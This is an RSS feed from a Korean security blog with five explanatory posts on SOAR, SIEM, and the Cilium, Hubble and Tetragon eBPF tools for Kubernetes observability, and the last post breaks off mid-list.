<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>_sychoii.log</title>
        <link>https://velog.io/</link>
        <description>Blue Team</description>
        <lastBuildDate>Wed, 17 Jun 2026 13:16:33 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <copyright>Copyright (C) 2019. _sychoii.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/_sychoii" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[SOAR (Security Orchestration Automation and Response)]]></title>
            <link>https://velog.io/@_sychoii/SOAR-Security-Orchestration-Automation-and-Response</link>
            <guid>https://velog.io/@_sychoii/SOAR-Security-Orchestration-Automation-and-Response</guid>
            <pubDate>Wed, 17 Jun 2026 13:16:33 GMT</pubDate>
            <description><![CDATA[<h2 id="soarsecurity-orchestration-automation-and-response란">SOAR(Security Orchestration Automation and Response)란?</h2>
<p>보안팀은 여러 보안 도구들에 의해 발생하는 수많은 경보에 의한 피로와 공격 표면의 복잡도가 높아져 이에 대응하는데 어려움을 느낀다. 따라서 반복적인 작업을 자동화 하고, 수많은 보안 도구들을 일괄적으로 중앙에서 관리할 필요가 있는데, 이러한 니즈를 충족시킬 수 있는 솔루션이 <strong>SOAR</strong>다.</p>
<p><strong>SOAR</strong>는 여러 보안 도구를 <strong>통합</strong>하고, 반복적인 작업을 <strong>자동화</strong>하여 워크플로우를 <strong>오케스트레이션</strong>하는 솔루션을 말한다. 이를 통해 보안 팀은 침해사고 발생시 효율적으로 관리하고 대응하여 전반적인 보안 운영을 간소화하여 본연의 업무에 집중할 수 있도록 한다. 이러한 목적을 달성하기 위해 <strong>SOAR</strong>는 다음 세 가지를 지원한다.</p>
<ol>
<li><strong>보안 오케스트레이션 (Security Orchestration - 기술 및 데이터 통합)</strong>
서로 다른 보안 시스템과 플랫폼을 단일 인터페이스로 연동한다. 파편화된 사건 데이터에 위협 맥락을 부여하고, 이를 하나의 대시보드에서 관리함으로써 운영 가시성을 극대화한다.</li>
<li><strong>보안 자동화 (Security Automation - 워크플로우 최적화)</strong>
표준화된 <strong>대응 절차(Playbook)</strong>를 기반으로 사람의 개입 없이 반복 업무를 자동 수행한다. 이를 통해 오탐을 줄이고 <strong>MTTR(평균 해결 시간)</strong>을 획기적으로 단축한다.</li>
<li><strong>보안 대응 및 사례 관리 (Security Response - 인프라 역량 강화)</strong>
침해사고 발생 시 <strong>실시간 추적, 티켓팅, 사건 보고서 생성</strong>을 지원한다. 결과적으로 사람, 프로세스, 기술을 유기적으로 결합하여 보안 팀이 고위험 위협 분석 등 본연의 업무에 집중할 수 있도록 돕는다.</li>
</ol>
<h2 id="automation--orchestration">Automation &amp; Orchestration</h2>
<p><strong>SOAR</strong> 체계에서 <strong>자동화(Automation)와 오케스트레이션(Orchestration)</strong>의 차이를 명확히 구분하는 것은 보안 운영을 위해 필수적이다.
먼저 <strong>보안 자동화</strong>는 특정 도구나 단일 프로세스의 동작을 <strong>규칙화</strong>하여, 조건이 충족되었을 때 사람의 개입 없이 기계적으로 임무를 수행하도록 만드는 기술이다. 반면, <strong>보안 오케스트레이션</strong>은 파편화된 보안 인프라 요소들을 하나로 통합하고, 여러 자동화된 작업들을 유기적으로 조율 및 통제하는 운영적 관점의 개념이다. 즉, 단일 도구의 반복 업무 처리를 넘어, 이기종 보안 솔루션 간의 데이터 연동과 <strong>전체 대응 프로세스(Playbook)</strong>의 흐름을 중앙에서 지휘하는 것을 의미합니다.</p>
<p>정리하자면, <strong>보안 자동화</strong>는 특정 단일 태스크의 실행에 집중하는 미시적 개념이고, <strong>보안 오케스트레이션</strong>은 이러한 자동화 요소들을 결합하여 보안 운영 전반의 복합적인 워크플로우를 최적화하는 거시적 개념이다.</p>
<h2 id="siem과-soar-비교">SIEM과 SOAR 비교</h2>
<blockquote>
<h4 id="siemsecurity-information--event-management">SIEM(Security Information &amp; Event Management)</h4>
<p><a href="https://velog.io/@_sychoii/SIEM-Security-Information-Event-Management">https://velog.io/@_sychoii/SIEM-Security-Information-Event-Management</a>
<strong>SIEM</strong>에 대한 개념은 위 포스트를 참고하자.</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/f7cc8910-c883-4e06-9faa-7a1163092141/image.png" alt=""></p>
<blockquote>
<h6 id="출처-httpswwwdevocomthreat-hunting-guidesoar-vs-siem">출처: <a href="https://www.devo.com/threat-hunting-guide/soar-vs-siem/">https://www.devo.com/threat-hunting-guide/soar-vs-siem/</a></h6>
</blockquote>
<p>이전 포스트에서 다뤘던 <strong>SIEM</strong>과는 어떤 차이가 있을까? <strong>SIEM</strong>은 본질적으로 보안 이벤트 수집, 분석, 상관관계 분석을 통한 실시간 <strong>위협 탐지</strong>에 중점을 둔다. <strong>SOAR</strong>는 사고 대응 워크플로우를 자동화하고 오케스트레이션하여 더 빠르고 효율적인 위협 완화를 가능하게 한다. 즉, <strong>위협 대응</strong>에 중점을 둔다.</p>
<table>
<thead>
<tr>
<th>항목</th>
<th><strong>SIEM</strong></th>
<th><strong>SOAR</strong></th>
</tr>
</thead>
<tbody><tr>
<td><strong>목적</strong></td>
<td>이기종 로그 데이터의 중앙 집중화 및 <strong>상관관계 분석</strong>을 통한 <strong>실시간 위협 탐지</strong></td>
<td>탐지된 위협에 대한 사고 대응 워크플로우 <strong>자동화 및 SOC 케이스 관리 체계화</strong></td>
</tr>
<tr>
<td><strong>기능</strong></td>
<td><strong>데이터 수집, 정규화, 인덱싱, 상관관계 규칙</strong> 기반 경보 생성</td>
<td><strong>SIEM, EDR, XDR</strong> 등의 경보 취합, <strong>플레이북 기반 자동 대응</strong> 연동, <strong>티켓팅 및 사례</strong> 관리</td>
</tr>
<tr>
<td><strong>사고대응</strong></td>
<td>감지된 패턴에 대한 <strong>경보(Alert)</strong> 제공에 국한.</td>
<td>표준화된 <strong>플레이북</strong>에 따라 이기종 장비 제어 및 완전/반자동 대응 메커니즘 제공</td>
</tr>
<tr>
<td><strong>제한 사항</strong></td>
<td>대량의 경보 발생으로 인한 <strong>경보 피로</strong> 유발, 수동 대응으로 인한 <strong>시간 지연</strong></td>
<td><strong>보안 프로세스의 표준화</strong>(Playbook 개발) 및 조직 내 R&amp;R 정의 필수, 초기 구축 및 유지보수 비용 높음</td>
</tr>
</tbody></table>
<p>그렇다면 왜 <strong>SIEM</strong>만으로 충분하지 않은걸까? <strong>SIEM</strong>은 강력한 탐지 기능을 제공하지만, 인프라가 확잠됨에 따라 방대한 양의 경보를 발생시킨다. 수많은 알람을 일일이 <strong>수동으로 분석하고 대응</strong>하는 것은 대응 지연과 보안 공백으로 이어진다. 즉, <strong>SIEM</strong>의 본질적 한계는 탐지 이후의 수동 대응 병목 현상에 있으며, 이를 자동화하여 극복하기 위해 필요한 것이 <strong>SOAR</strong>인 것이다.</p>
<h2 id="정리">정리</h2>
<p>이번 포스트에서는 <strong>SOAR</strong>의 정의와 필요성, <strong>SIEM</strong>과의 비교를 다뤄봤다. 앞으로의 포스트에서는 <strong>AI</strong>를 <strong>SIEM</strong>과 <strong>SOAR</strong>와 같은 <strong>SOC</strong>에 어떻게 접목하고 활용하는지에 대한 내용, 대표적인 <strong>SIEM, SOAR</strong> 플랫폼을 직접 설치해서 실습 해보도록 하겠다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[SIEM (Security Information & Event Management)]]></title>
            <link>https://velog.io/@_sychoii/SIEM-Security-Information-Event-Management</link>
            <guid>https://velog.io/@_sychoii/SIEM-Security-Information-Event-Management</guid>
            <pubDate>Tue, 16 Jun 2026 04:03:15 GMT</pubDate>
            <description><![CDATA[<h2 id="siemsecurity-information--event-management이란">SIEM(Security Information &amp; Event Management)이란</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/e6e00f62-224b-4f63-9e77-90695a9eb18d/image.png" alt=""></p>
<blockquote>
<h6 id="출처-httpswwwlinkedincompulsehow-siem-security-incident-event-management-works-rana-pratap-singh-l3roc">출처: <a href="https://www.linkedin.com/pulse/how-siem-security-incident-event-management-works-rana-pratap-singh-l3roc/">https://www.linkedin.com/pulse/how-siem-security-incident-event-management-works-rana-pratap-singh-l3roc/</a></h6>
</blockquote>
<p><strong>SIEM</strong>이란 보안 로그 및 이벤트 데이터를 수집하여 시각화, 알림, 검색, 보고 등 다양한 형태로 <strong>분석</strong>할 수 있도록 지원하는 솔루션을 의미한다. 실시간으로 위협을 <strong>탐지</strong>하고, <strong>침해사고 대응</strong>을 관리하며, 보안 사고에 대한 포렌식 조사와 규정 준수를 할 수 있다. 정리하자면, IT 인프라에서 발생하는 <strong>보안 사고</strong>와 <strong>이벤트</strong>를 중앙집중적으로 관리하는 <strong>종합적인 접근 방식</strong>을 의미하고, 시스템과 네트워크 전반의 다양한 소스에서 보안 데이터를 <strong>수집</strong>하고, 이기종 로그 간의 <strong>상관관계를 분석 및 해석</strong>하여 <strong>대응</strong>하는 전 과정을 포괄한다.</p>
<h2 id="siem-기능">SIEM 기능</h2>
<p>앞서 정의한 내용을 보면 <strong>SIEM</strong>에는 매우 많은 기능들이 있다. 주요 기능들을 정리하면 다음과 같다.</p>
<ul>
<li><p><strong>로그 수집 및 관리(Log Management)</strong></p>
</li>
<li><p><em>SIEM*</em> 시스템이 동작하는 데 있어 핵심적인 요소이다. IT 인프라 전반에 있는 다양한 구성 요소들이 발생시키는 이벤트 데이터를 수집한다. 이 데이터를 지속적으로 추출하여 중앙 집중식 저장소에 통합하여 이후 <strong>로그 검색, 분석, 탐지</strong> 등에 활용할 수 있도록 한다.</p>
</li>
<li><p><strong>정규화(Normalization)</strong>
IT 인프라 요소들에 의해 발생하는 로그들의 데이터 포맷은 서로 다를 수 있다. 데이터 포맷이 서로 다를 경우 분석, 검색 등의 과정에서 어려움이 발생할 수 있는데, 이를 방지하기 위해 데이터를 일관된 형태로 표준화하여 관리할 수 있도록 한다.</p>
</li>
<li><p><strong>위협 탐지(Detection)</strong></p>
</li>
<li><p><em>SIEM*</em>으로 수집된 이벤트 데이터들을 대상으로 위협 행위에 대한 탐지가 가능하다. 대표적으로 <strong>Sigma Rule</strong>을 활용한 <strong>시그니처 기반 탐지</strong>가 있다. <strong>시그니처 기반 탐지</strong>는 공격 행위에 대한 아티팩트를 정의하여 실시간으로 유입되는 데이터를 이와 비교하여 위협을 탐지하는 방식이다. 이외에도 정상적인 패턴을 정의하여 비정상적인 시스템 활동을 탐지하는 <strong>Baseline 기반 이상징후 탐지</strong> 방식도 활용할 수 있다.</p>
</li>
<li><p><strong>상관 관계 분석(Correlation Analysis)</strong>
다양한 요소들에 의해 수집된 이벤트들의 로그를 연관시켜 분석하는 것을 <strong>상관 관계 분석</strong>이라고 한다. 이를 통해 잠재적인 보안 위협을 식별, 심각도와 영향력에 대한 기준을 세우고 우선순위 지정이 가능하다. 예를 들어 서로 다른 IP주소에서 대량의 로그인 시도가 실패하고 성공적으로 로그인한 경우, <strong>Brute Force 공격</strong>이라고 할 수 있는데, 이 경우 Network 이벤트와 어플리케이션의 로그인 이벤트에 대한 <strong>상관 관계 분석</strong>이 이루어졌다고 할 수 있다. 이를 통해 <strong>보안 사고</strong>를 정의할 수 있고 이후 대응 단계로 넘어갈 수 있다.</p>
</li>
<li><p><strong>사고 대응(Incident Response)</strong></p>
</li>
<li><p><em>SIEM*</em> 시스템은 경보 분류, 조사 및 복구를 위한 워크플로우를 제공하여 보안 사고에 대해 <strong>신속한 대응 및 피해 최소화</strong>를 지원한다. 보안 이벤트 및 로그 분석 단계에서 보안 사고가 감지되면 다음과 같은 주요 단계로 <strong>사고 대응</strong>이 이루어진다.</p>
<ol>
<li>경보 분류</li>
</ol>
<p>  <strong>SIEM</strong> 시스템에서 경보가 발생하면 분석가는 초기 분류를 통해 경보의 심각도와 신뢰도를 평가한다. 이를 바탕으로 추가 조사와 우선순위를 정한다.</p>
<ol start="2">
<li>조사
우선순위가 정해지면 보안 사고에 대한 추가 정보를 수집한다. 로그 데이터 조회, 트래픽 분석, 시스템 구성 검토 등을 포함하여 <strong>사고의 원인을 파악</strong>한다.</li>
<li>복구
피해를 최소화하고 추가적인 위험 완화를 위한 복구 조치를 수행한다. 이 단계에서 영향을 받은 시스템을 격리하거나, 악성 파일 또는 프로세스 제거, 보안 업데이트 등의 작업이 수행된다.</li>
<li>문서화
사고 대응 과정 전반에 걸쳐 사고 조사 및 해결을 위해 취한 조치, 모범 사례 등 활동에 대한 문서를 작성한다. 이 문서는 향후 <strong>사고 대응</strong>에 활용되는 중요한 자료가 된다.</li>
</ol>
</li>
<li><p>규정 준수</p>
</li>
<li><p><em>SIEM*</em>은 보안 규제 조건을 충족하고 업계 표준을 준수함을 입증할 수 있도록 지원한다. 보안 이벤트와 사고에 대한 추적, 대응뿐만 아니라 문서화하여 제공함으로써 규정 준수에 있어 중요한 역할을 한다. 이는 활용 조직에 있어 고객 자산 보호에 대한 의지와 규제 위반에 대한 위험도 줄일 수 있다.</p>
</li>
</ul>
<h2 id="구성-요소">구성 요소</h2>
<p>앞서 설명한 기능을 수행하기 위한 <strong>SIEM</strong>의 구성 요소는 크게 <strong>데이터 수집기, 로그 저장소, 분석 엔진, UI</strong>로 나눌 수 있다.</p>
<ul>
<li><strong>데이터 수집기 및 전처리기</strong>
해당 인프라 내에 위치한 탐지 도구들이 발생시키는 이벤트를 종합적으로 수집하여 <strong>로그 저장소</strong>로 전달하는 역할을 한다. 로그 전달 과정에서의 데이터 유실을 방지하기 위해 <strong>버퍼링 및 큐잉(Queuing) 메커니즘</strong>을 갖추어야 하며, 데이터의 무결성과 기밀성을 보장하기 위해 <strong>mTLS</strong>와 같은 상호 인증 및 암호화 통신을 지원해야 한다. 또한, 수집된 이기종 로그를 표준 포맷으로 변환하는 <strong>Normalization</strong> 과정이 이 단계 또는 <strong>Ingest Layer</strong>에서 수행된다.</li>
<li><strong>로그 저장소</strong></li>
<li><em>수집 및 정규화*</em>가 완료된 데이터를 <strong>중앙집중식</strong>으로 저장 및 관리하는 역할을 한다. 대용량 데이터를 효율적으로 처리하기 위해 <strong>압축, 암호화, 인덱싱</strong> 기능을 제공하며, 검색 성능과 비용 최적화를 위해 <strong>데이터 계층화(Hot/Warm/Cold Storage Tiering)</strong> 아키텍처를 활용한다. 이를 통해 구조화된 형태로 데이터를 유지하여 <strong>사후 분석 및 상관관계</strong> 파악을 용이하게 한다.</li>
<li><strong>분석 엔진</strong>
수집된 로그 데이터를 분석하여 보안 위협을 식별한다. <strong>시그니처 기반 탐지, 이상징후 탐지, 상관 분석</strong> 등 다양한 기술과 알고리즘을 활용한다.</li>
<li><strong>UI</strong>
보안 담당자의 편의성을 위해 보안 이벤트들에 대한 <strong>대시보드, 보고서 및 시각화</strong>를 지원한다. 이를 통해 분석 및 의사 결정을 용이하게 한다.</li>
</ul>
<h2 id="문제">문제</h2>
<p>이러한 <strong>SOC(Security Operation Center)</strong> 역할을 하는 <strong>SIEM</strong> 시스템을 구현하는 과정에서 몇 가지 문제가 있다.</p>
<ol>
<li><strong>데이터 과부화</strong>
다양한 소스에서 방대한 양의 데이터를 저장 및 처리하기 때문에 <strong>데이터 과부화</strong>를 초래할 수 있다.</li>
<li><strong>오탐 및 미탐</strong></li>
</ol>
<p><strong>SIEM</strong>은 정상적인 활동을 보안 위협으로 잘못 판단하는 오탐을 발생시켜 보안 담당자의 피로를 가중시킬 수 있고, 정의한 패턴과 다르게 위협 행위가 발생할 경우 이를 탐지하지 못할 수 있다.
3. <strong>자원 제약</strong>
<strong>SIEM</strong>을 효과적으로 운영하기 위해서는 HW, SW, 인력 등 상당한 자원이 필요로 한다. 실제로 조사 결과 기업에서 보안을 위해 가장 많은 자원을 투입하는 요소가 <strong>SIEM</strong> 운영이다.</p>
<h2 id="정리">정리</h2>
<p>파편화 된 보안 이벤트를 중앙집중적으로 관리할 수 있는 <strong>SIEM</strong> 운영은 기업에서 필수적이다. 체계적인 <strong>SIEM</strong> 구축 및 실행 방식을 통해 보안을 강화하고 사이버 위협 영향을 완화하여 진화하는 위협에도 대응할 수 있도록 해야한다.
이번 포스트에선 <strong>SIEM</strong>의 개요와 <strong>SIEM</strong> 시스템이 갖는 문제점에 대해서도 간단히 다뤄봤다. 이후 포스트에선 <strong>SIEM</strong>에 <strong>AI</strong>를 어떻게 접목하여 사용하고 있는지, <strong>SIEM</strong>과 유사한 <strong>SOAR(Security Ochestration Automation Response)</strong> 등에 대한 내용을 다뤄보도록 하겠다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Cilium의 역할과 Tetragon, Hubble과의 관계 분석 (3)]]></title>
            <link>https://velog.io/@_sychoii/Cilium%EC%9D%98-%EC%97%AD%ED%95%A0%EA%B3%BC-Tetragon-Hubble%EA%B3%BC%EC%9D%98-%EA%B4%80%EA%B3%84-%EB%B6%84%EC%84%9D-3-j947ctpc</link>
            <guid>https://velog.io/@_sychoii/Cilium%EC%9D%98-%EC%97%AD%ED%95%A0%EA%B3%BC-Tetragon-Hubble%EA%B3%BC%EC%9D%98-%EA%B4%80%EA%B3%84-%EB%B6%84%EC%84%9D-3-j947ctpc</guid>
            <pubDate>Mon, 15 Jun 2026 13:01:45 GMT</pubDate>
            <description><![CDATA[<h2 id="tetragon--cilium-상호-동작">Tetragon &amp; Cilium 상호 동작</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/35fc30bc-e9b3-4084-9694-fa740fbe9367/image.png" alt=""></p>
<p>위 그림은 <strong>Tetragon</strong>과 <strong>Cilium</strong>이 어떻게 동작하는지에 대해 나타낸 그림이다. Cilium과 Tetragon을 나눠서 정리해보면 아래와 같이 정리할 수 있다.</p>
<ul>
<li><strong>Cilium</strong><ol>
<li><strong>Cilium Agent</strong>가 <strong>K8s API Server</strong>로부터 메타데이터를 동기화 한다.</li>
<li>이 데이터를 바탕으로 커널 내부의 <strong>eBPF Map</strong>을 업데이트 한다.</li>
</ol>
</li>
<li><strong>Tetragon</strong><ol>
<li><strong>Tetragon eBPF Program</strong>이 지정된 <strong>Hook Point</strong>를 통해 시스템 이벤트를 감지한다.</li>
<li>이벤트 발생시 <strong>eBPF Map</strong>을 참조하여 특정 PID에 해당하는 <strong>K8s Identity(Namespace, Pod 정보 등)</strong>을 실시간으로 확인한다.</li>
</ol>
</li>
</ul>
<p>이러한 과정을 거쳐 <strong>Tetragon Agent</strong>는 Kernel 데이터에 <strong>Cilium</strong>의 <strong>K8s Context</strong>가 결합된 형태의 Event 로그를 생성하여 <strong>Kibana</strong>, <strong>Open Search</strong>와 같은 외부 시스템으로 정보를 전송하여 사용자에게 제공하는 것이다.</p>
<h2 id="정리">정리</h2>
<p>내용을 종합 해보면, <strong>Cilium</strong>은 <strong>eBPF</strong> 기반으로 <strong>K8s</strong> 클러스터 전반의 네트워크 Identity와 상태를 관리한다. <strong>Tetragon</strong>은 <strong>Cilium</strong>의 Identity 개념을 Kernel Level로 확장하여 활용한다. Kernel에서 발생하는 이벤트 예를 들어 바이너리 실행, 특정 파일 접근 등이 발생되면 <strong>Cilium</strong>이 수집한 <strong>K8s</strong> 메타데이터 매핑 구조를 참조하여 어떤 <strong>Namespace</strong>의 어떤 <strong>Pod</strong>가 어떤 파일에 접근했다와 같은 맥락화 된 이벤트 로그를 생성한다. 이러한 방식은 <strong>User Space</strong>에서 <strong>Context Switching</strong>을 하여 로그를 파싱 및 매핑하는 방식과 달리 <strong>Kernel Space</strong>에서 발생 이벤트에 대한 데이터 처리를 하여 시스템 부하가 적다. 그리고 <strong>Kernel Level</strong>에서 데이터를 처리하여 <strong>User Space</strong>에서 공격자가 로그나 PID를 변조하더라도 실시간으로 차단이 가능하다.
하지만 대규모 환경에서 <strong>Tetragon</strong>의 <strong>enforcement</strong> 기능을 사용할 경우 로그 손실률이 다소 있다는 연구 결과가 있어, 경보 중심의 도구(ex. <strong>Falco</strong>)보다 증거 수집 및 무결성 측면에서 신뢰성이 아직은 부족하다고 생각한다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Cilium의 역할과 Tetragon, Hubble과의 관계 분석 (2)]]></title>
            <link>https://velog.io/@_sychoii/Cilium%EC%9D%98-%EC%97%AD%ED%95%A0%EA%B3%BC-Tetragon-Hubble%EA%B3%BC%EC%9D%98-%EA%B4%80%EA%B3%84-%EB%B6%84%EC%84%9D-2</link>
            <guid>https://velog.io/@_sychoii/Cilium%EC%9D%98-%EC%97%AD%ED%95%A0%EA%B3%BC-Tetragon-Hubble%EA%B3%BC%EC%9D%98-%EA%B4%80%EA%B3%84-%EB%B6%84%EC%84%9D-2</guid>
            <pubDate>Sun, 14 Jun 2026 07:34:50 GMT</pubDate>
            <description><![CDATA[<h2 id="hubble">Hubble</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/ee4a4852-abe2-4bee-9505-484220d53d65/image.png" alt=""></p>
<p><strong>Hubble</strong>은 <strong>Cilium CNI</strong> 위에서 동작하는 <strong>eBPF</strong> 기반 네트워크 가시성 관측 도구로 <strong>K8s</strong> 클러스터 내에서 발생하는 서비스 간 통신 흐름을 커널 레벨에서 실시간으로 수집 및 분석이 가능하다. 패킷 미러링, 프록시에 의존하지 않고 네트워크 이벤트를 직접 관측함으로써 기존 네트워크 모니터링 방식 대비 낮은 오버헤드를 갖는 것이 특징이다. <strong>K8s</strong> 메타데이터(Label, Pod, Namespace 등)를 네트워크 흐름과 결합하여 제공함으로써 <strong>K8s</strong> 환경에 최적화된 네트워크 가시성 확보가 가능하지만, <strong>Cilium</strong>이 수집한 정보를 통해 네트워크 가시성을 확보하는 특성 때문에 <strong>Cilium</strong> 없이 독립적으로 사용 불가능하다는 특징을 가지고 있다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/23e2e0e6-6c55-447e-b809-8a3f2e1d2408/image.png" alt=""></p>
<blockquote>
<h6 id="출처-httpsgithubcomciliumhubble">출처: <a href="https://github.com/cilium/hubble">https://github.com/cilium/hubble</a></h6>
</blockquote>
<ul>
<li><strong>Hubble Daemon</strong></li>
<li><em>K8s Node*</em> 내에서 <strong>Cilium</strong>이 수집한 <strong>eBPF</strong> 기반 네트워크 흐름과 가시성 데이터를 로컬에서 수집해서 가공한다. <strong>L3/L4, L7</strong>의 트래픽 정보를 상위 도구들이 사용할 수 있도록 <strong>gRPC API</strong> 형태로 제공한다.</li>
<li><strong>Hubble UI</strong>
<img src="https://velog.velcdn.com/images/_sychoii/post/1eb53ea5-359d-4668-a714-b1767b75fd0a/image.png" alt=""></li>
<li><em>K8s*</em> 환경에서 네트워크 트래픽 정보를 그래프 형태로 보여주는 GUI로 관리자에게 제공한다.</li>
<li><strong>Hubble CLI</strong></li>
<li><em>CLI*</em>를 통해 네트워크 트래픽에 대한 로그를 제공한다. <strong>JSON</strong> 형태로 출력되는 데이터를 <strong>jq</strong>와 연계하여 특정 <strong>Pod, IP, Port, Protocol</strong>별 필터링 및 디버깅 기능을 제공한다.</li>
</ul>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/c1f2eedc-173e-44ac-b698-ada4c883db69/image.png" alt=""></p>
<blockquote>
<h6 id="출처-httpsisovalentcomblogposthubble-series-re-introducing-hubble">출처: <a href="https://isovalent.com/blog/post/hubble-series-re-introducing-hubble/">https://isovalent.com/blog/post/hubble-series-re-introducing-hubble/</a></h6>
</blockquote>
<p>위 그림은 <strong>Hubble</strong>의 동작 흐름을 나타낸 그림이다. 앞서 설명한 <strong>Daemon Set</strong> 형태로 배포된 <strong>Hubble</strong> 에이전트가 수집한 네트워크 흐름 데이터가 <strong>gRPC 스트림</strong>을 통해 <strong>Hubble Relay</strong>로 전달되고 <strong>Hubble Relay</strong>를 통해 사용자에게 <strong>GUI</strong>, <strong>CLI</strong> 형태로 네트워크 가시성을 제공하는 것이다. <strong>Prometheus</strong>는 <strong>Hubble 에이전트</strong>의 <code>/metrics</code> 엔드포인트에 직접 접근하여 데이터를 가져오는 <strong>Pull</strong> 방식으로 동작하며, <strong>Grafana</strong>는 <strong>Prometheus</strong>가 수집한 데이터를 시각화하는 역할을 수행한다.</p>
<blockquote>
<h4 id="grpc">gRPC</h4>
<p>분산 환경의 서버나 마이크로 서비스 간 데이터를 교환할 때 사용하는 <strong>원격 프로시저 호출 프레임워크</strong>이다.</p>
</blockquote>
<p>정리하자면 <strong>Hubble</strong>은 <strong>와이어샤크</strong>와 같은 네트워크 분석 도구가 가지는 클라우드 환경에서의 한계를 극복하고, 구성 인프라의 컨텍스트와 네트워크 트래픽 정보를 결합하여 심층적인 가시성 확보를 위해 설계된 도구다.</p>
<h2 id="tetragon">Tetragon</h2>
<blockquote>
<p><strong>Tetragon 구조 분석</strong>: <a href="https://velog.io/@_sychoii/Tetragon-%EA%B5%AC%EC%A1%B0-%EB%B6%84%EC%84%9D">https://velog.io/@_sychoii/Tetragon-%EA%B5%AC%EC%A1%B0-%EB%B6%84%EC%84%9D</a></p>
</blockquote>
<p><strong>Tetragon</strong>의 기본 구조와 동작 메커니즘은 첨부한 링크의 포스트를 참고하면 된다.</p>
<h2 id="정리">정리</h2>
<p>Hubble과 Tetragon의 기본 구조와 동작 방식에 대해 알아봤다. 다음 포스트에서는 Tetragon이 Cilium이 수집한 데이터를 어떻게 활용하는지를 중점적으로 다뤄보겠다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Cilium의 역할과 Tetragon, Hubble과의 관계 분석 (1)]]></title>
            <link>https://velog.io/@_sychoii/Cilium%EC%9D%98-%EC%97%AD%ED%95%A0%EA%B3%BC-Tetragon-Hubble%EA%B3%BC%EC%9D%98-%EA%B4%80%EA%B3%84-%EB%B6%84%EC%84%9D</link>
            <guid>https://velog.io/@_sychoii/Cilium%EC%9D%98-%EC%97%AD%ED%95%A0%EA%B3%BC-Tetragon-Hubble%EA%B3%BC%EC%9D%98-%EA%B4%80%EA%B3%84-%EB%B6%84%EC%84%9D</guid>
            <pubDate>Fri, 12 Jun 2026 08:14:02 GMT</pubDate>
            <description><![CDATA[<h2 id="cnicontainer-network-interface">CNI(Container Network Interface)</h2>
<p><strong>Cilium</strong>에 대해 알아보기 전에 <strong>CNI(Container Network Interface)</strong> 개념에 대해 먼저 알아야 한다. <strong>CNI</strong>란 컨테이너 간 통신에 필요한 네트워크 인터페이스다.
일반적으로 우리가 알고 있는 <strong>네트워크 인터페이스</strong>는 컴퓨터 또는 네트워크 장비가 네트워크에 연결되어 통신하기 위한 물리적 또는 가상의 연결 지점을 의미한다. 물리적 네트워크 인터페이스는 네트워크에 연결할 수 있는 모든 기기에 장착된 <strong>NIC(Network Interface Card)</strong>이 있다. 우리는 이것을 통해 데이터를 네트워크 상에서 송수신할 수 있는 것이다. 가상 네트워크 인터페이스도 마찬가지로 우리가 VM으로 어떤 작업을 하는 경우 NIC과 동일하게 네트워크와 연결해주는 역할을 한다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/15179a74-cc94-40d6-8af8-be3d29d60de5/image.png" alt=""></p>
<p><strong>CNI</strong>는 일반적으로 우리가 알고 있는 네트워크 인터페이스와 기능은 같지만 <strong>Container</strong> 환경에서 통신을 위해 도입된 네트워크 표준이다. 레거시 환경과 다르게 <strong>MSA(Micro Service Architecture)</strong> 환경에서는 컨테이너로 서비스 단위가 쪼개져서 동작한다. 예를 들어 쇼핑몰 서비스에서 검색, 결제 등 각각의 기능들이 컨테이너로 배포된다. 이렇게 컨테이너 기반으로 동작하는 어플리케이션에서 당연하게도 컨테이너 간 통신이 가능 해야할 것이다. 하지만 단일 호스트 중심의 <strong>브릿지 네트워크</strong> 방식은 여러 서버로 확장된 <strong>멀티 노드 환경</strong>에서 컨테이너 간 통신을 처리하는 데 한계가 있다. 따라서 여러 노드에 분산된 컨테이너들이 서로 고유한 IP를 가지고 NAT 없이 격리된 통신을 할 수 있도록 네트워크 전반을 구현 및 관리해 주는 표준 규격인 <strong>CNI</strong>가 필요하다.</p>
<h2 id="cilium">Cilium</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/659907ef-419f-4f1c-913f-eaa6e45c9d19/image.png" alt=""></p>
<p><strong>Cilium</strong>은 <strong>K8s</strong> 환경에서 앞서 설명한 CNI 중 하나로 <strong>eBPF</strong> 기반으로 설계됐고, <strong>네트워크</strong>, <strong>보안 및 관측성</strong>을 통합 제공한다. IP 주소가 아닌 <strong>Identity(레이블/ID)</strong> 기반으로 <strong>Layer 3 ~ Layer 7</strong>까지 보안 정책을 적용할 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/5e5e1922-b151-4165-ac89-76947f3f44e6/image.png" alt=""></p>
<h6 id="출처-httpsarchivefosdemorg2020scheduleeventreplacing_iptables_with_ebpfattachmentsslides3622exporteventsattachmentsreplacing_iptables_with_ebpfslides3622cilium_fosdem_2020pdf">출처: <a href="https://archive.fosdem.org/2020/schedule/event/replacing_iptables_with_ebpf/attachments/slides/3622/export/events/attachments/replacing_iptables_with_ebpf/slides/3622/Cilium_FOSDEM_2020.pdf">https://archive.fosdem.org/2020/schedule/event/replacing_iptables_with_ebpf/attachments/slides/3622/export/events/attachments/replacing_iptables_with_ebpf/slides/3622/Cilium_FOSDEM_2020.pdf</a></h6>
<p>위는 <strong>Cilium</strong>이 <strong>K8s</strong> 환경에서 <strong>Pod</strong>가 생성될 때 <strong>Cilium</strong>이 User space에서 어떻게 요청을 받아 Kernel space의 <strong>eBPF Program</strong>으로 제어를 하는지에 대한 흐름을 나타낸 그림이다. 이러한 제어 흐름은 <strong>K8s Control Plane 및 CRI(Container Runtime Interface)</strong> 단계, Kernel space의 <strong>eBPF 및 Network Data Plane</strong> 단계로 나눌 수 있다.</p>
<ol>
